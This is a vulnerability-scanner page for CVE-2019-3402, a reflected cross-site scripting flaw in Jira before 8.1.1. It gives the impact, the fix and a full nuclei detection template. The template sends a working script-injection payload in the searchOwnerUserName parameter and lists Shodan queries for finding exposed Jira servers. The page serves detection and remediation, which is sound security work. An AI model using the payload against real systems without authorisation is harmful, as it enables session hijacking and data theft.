Jira < 8.1.1 - Cross-Site Scripting

mediumseverity

6.1CVSS score

8.9%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

Jira before 8.1.1 contains a cross-site scripting vulnerability via ConfigurePortalPages.jspa resource in the searchOwnerUserName parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, data theft, or defacement.

Fix

Upgrade Jira to version 8.1.1 or later to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search
Positive when: contains "'<script>alert(1)</script>' does not exist" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2019-3402 -u <target>

The full check

id: CVE-2019-3402

info:
  name: Jira < 8.1.1 - Cross-Site Scripting
  author: pdteam
  severity: medium
  description: |
    Jira before 8.1.1 contains a cross-site scripting vulnerability via ConfigurePortalPages.jspa resource in the searchOwnerUserName parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, data theft, or defacement.
  remediation: |
    Upgrade Jira to version 8.1.1 or later to mitigate this vulnerability.
  reference:
    - https://gist.github.com/0x240x23elu/891371d46a1e270c7bdded0469d8e09c
    - https://jira.atlassian.com/browse/JRASERVER-69243
    - https://nvd.nist.gov/vuln/detail/CVE-2019-3402
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/Faizee-Asad/JIRA-Vulnerabilities
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-3402
    cwe-id: CWE-79
    epss-score: 0.08947
    epss-percentile: 0.95289
    cpe: cpe:2.3:a:atlassian:jira:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: atlassian
    product: jira
    shodan-query:
      - http.component:"Atlassian Jira"
      - http.component:"atlassian jira"
      - http.component:"atlassian confluence"
      - cpe:"cpe:2.3:a:atlassian:jira"
  tags: cve,cve2019,atlassian,jira,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'<script>alert(1)</script>' does not exist"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

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